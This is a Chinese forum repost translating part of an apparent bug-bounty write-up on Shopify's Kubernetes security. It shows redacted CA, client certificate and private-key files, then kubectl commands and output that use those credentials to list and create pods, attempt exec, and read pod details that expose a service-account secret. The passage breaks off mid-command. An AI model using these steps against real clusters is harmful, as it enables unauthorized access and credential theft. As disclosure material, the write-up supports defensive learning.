请选择 进入手机版 | 继续访问电脑版

设为首页 收藏本站
思科社区 关注
思科社区

搜索
热搜: 邮件服务器
查看: 375|回复: 0

【原创翻译】通过Shopify平台案例探究微服务安全(2)

[复制链接]
发表于 2020-2-16 10:36:40 | 显示全部楼层 |阅读模式
ca.crt(译者注:ca证书文件)
-----BEGINCERTIFICATE-----
██████
███████
███████
████████
██████████████
████████
████████
███████
████
██████
███
█████████
████
████
████████
███████
███
-----ENDCERTIFICATE-----
client.crt(译者注:client端证书文件)
-----BEGINCERTIFICATE-----
█████
███████
██████
████████
██████████
█████
██████
█████
█████
██████████
███████
█████
████
████
████████
████████
-----ENDCERTIFICATE-----
client.pem(译者注:采用Base64 编码的client端文件,存储证书+密钥)
-----BEGIN RSA PRIVATEKEY-----
█████████
██████
████████
████
████
█████████
██████████
██████
████████
█████████
██████
██████████
███
██████████
███
██████
█████████
████████
██████████
█████████
████
████
████████
████
███████
-----END RSA PRIVATEKEY-----
至此,我得到了MASTER_NAME█████
3 – 使用Kubelet执行任意命令
在此,我们可以列出所有的pods
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://██████ get pods --all-namespaces
NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE
████████                    ██████████                    1/1

也可以创建新的pods:
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://████████ create -fhttps://k8s.io/docs/tasks/debug- ... ter/shell-demo.yaml
pod"shell-demo" created
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://██████████ delete pod shell-demo
pod"shell-demo" deleted

由于我无法确定自己是否能以用户████████的身份,去删除其正在运行的pods。因此,我无法在这个新的pod或其他pod中执行任何命令:
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://█████████ exec -it shell-demo -- /bin/bash
Error fromserver (Forbidden): pods "shell-demo" is forbidden: User"███" cannot create pods/exec in the namespace "default":Unknown user "███"

虽然get secrets命令没有起到效果,但是它能够根据给定的pod,运用其名称来获取密钥。我正好运用实例名████,从名称空间████中,截获到了kubernetes.io服务帐号的token
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://███ describe pods/█████ -n █████████
Name:           ████████
Namespace:      ██████
Node:           ██████████
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:         █████
                ████
                █████
Annotations:    <none>
Status:         Running
IP:             █████████
ControlledBy:  █████
Containers:
  default-http-backend:
    Container ID:   docker://███
    Image:          ██████
    Image ID:       docker-pullable://█████
    Port:           ████/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:    10m
      memory: 20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:███/healthz delay=30stimeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
   Mounts:
      ██████
Conditions:
  Type          Status
  Initialized   True
  Ready         True
  PodScheduled  True
Volumes:
██████████:
    Type:       Secret (a volume populated by a Secret)
    SecretName: ███████
    Optional:   false
QoS Class:       Guaranteed
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for300s
                node.kubernetes.io/unreachable:NoExecute for 300s
Events:          <none>


$ kubectl--client-certificate client.crt --client-key client.pem --certificate-author